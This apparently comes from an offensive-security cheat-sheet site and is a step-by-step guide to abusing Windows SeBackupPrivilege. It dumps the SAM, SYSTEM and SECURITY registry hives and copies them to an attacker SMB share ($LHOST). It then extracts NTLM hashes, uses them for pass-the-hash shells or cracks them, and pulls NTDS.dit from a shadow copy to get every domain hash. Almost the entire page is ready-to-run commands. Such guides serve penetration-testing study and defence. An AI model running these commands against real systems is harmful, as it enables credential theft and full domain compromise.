Skip to content
HackIndex logo

HackIndex

SeBackupPrivilege Abuse for Privilege Escalation

3 min read Mar 15, 2026

SeBackupPrivilege allows reading any file on the system regardless of ACLs — it is designed for backup software. With this privilege you can copy the SAM and SYSTEM registry hives even though they are locked and protected. Extract local account NTLM hashes from those files and either crack them or use them directly for pass-the-hash authentication.

Prerequisites Check

C:\Users\Guest\Desktop> whoami /priv | findstr SeBackupPrivilege

SeBackupPrivilege must show Enabled. If it shows Disabled, enable it:

PS C:\Users\Guest\Desktop> # Enable disabled privilege via token manipulation
PS C:\Users\Guest\Desktop> Import-Module .\Enable-Privilege.ps1
PS C:\Users\Guest\Desktop> Enable-Privilege SeBackupPrivilege

Or use the SeBackupPrivilegeCmdlets:

PS C:\Users\Guest\Desktop> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\Users\Guest\Desktop> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\Users\Guest\Desktop> Set-SeBackupPrivilege

Step 1 — Copy SAM and SYSTEM Hives

The SAM and SYSTEM files are locked by the OS. Use reg save to create unlocked copies — SeBackupPrivilege allows this even as a non-admin:

C:\Users\Guest\Desktop> reg save HKLM\SAM C:\Windows\Temp\SAM
C:\Users\Guest\Desktop> reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
C:\Users\Guest\Desktop> reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

If reg save is blocked, use the backup API directly via PowerShell:

PS C:\Users\Guest\Desktop> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\Users\Guest\Desktop> Import-Module .\SeBackupPrivilegeUtils.dll
 
PS C:\Users\Guest\Desktop> # Copy files using backup semantics
PS C:\Users\Guest\Desktop> Copy-FileSeBackupPrivilege C:\Windows\System32\config\SAM C:\Windows\Temp\SAM -Overwrite
PS C:\Users\Guest\Desktop> Copy-FileSeBackupPrivilege C:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM -Overwrite

Or use robocopy with backup mode:

C:\Users\Guest\Desktop> robocopy /B C:\Windows\System32\config C:\Windows\Temp SAM SYSTEM

Step 2 — Transfer to Attack Box

C:\Users\Guest\Desktop> # Using SMB share
C:\Users\Guest\Desktop> impacket-smbserver share /tmp -smb2support
 
C:\Users\Guest\Desktop> # On target
C:\Users\Guest\Desktop> copy C:\Windows\Temp\SAM \\$LHOST\share\
copy C:\Windows\Temp\SYSTEM \\$LHOST\share\

Step 3 — Extract Hashes

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTHASH:::

Step 4 — Use the Hashes

Pass-the-hash to get a shell:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec -hashes :NTHASH Administrator@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u Administrator -H NTHASH
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec -hashes :NTHASH Administrator@$TARGET_IP

Crack the hash offline:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 NTHASH /usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~]
└─$ john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

For the full password attack workflow see https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks.

Reading NTDS.dit (Domain Controller)

If the target is a Domain Controller, SeBackupPrivilege allows copying NTDS.dit — the AD database containing all domain account hashes:

C:\Users\Guest\Desktop> # Create a shadow copy and copy NTDS.dit
C:\Users\Guest\Desktop> diskshadow /s C:\Windows\Temp\shadow.dsh

Create the shadow script file first:

DISKSHADOW > set context persistent nowriters
DISKSHADOW > add volume c: alias privesc
DISKSHADOW > create
DISKSHADOW > expose %privesc% z:
C:\Users\Guest\Desktop> echo set context persistent nowriters > C:\Windows\Temp\shadow.dsh
C:\Users\Guest\Desktop> echo add volume c: alias privesc >> C:\Windows\Temp\shadow.dsh
C:\Users\Guest\Desktop> echo create >> C:\Windows\Temp\shadow.dsh
C:\Users\Guest\Desktop> echo expose %privesc% z: >> C:\Windows\Temp\shadow.dsh
C:\Users\Guest\Desktop> diskshadow /s C:\Windows\Temp\shadow.dsh
 
C:\Users\Guest\Desktop> # Copy NTDS.dit from shadow copy
C:\Users\Guest\Desktop> Copy-FileSeBackupPrivilege z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit -Overwrite
C:\Users\Guest\Desktop> reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM

Extract hashes:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

References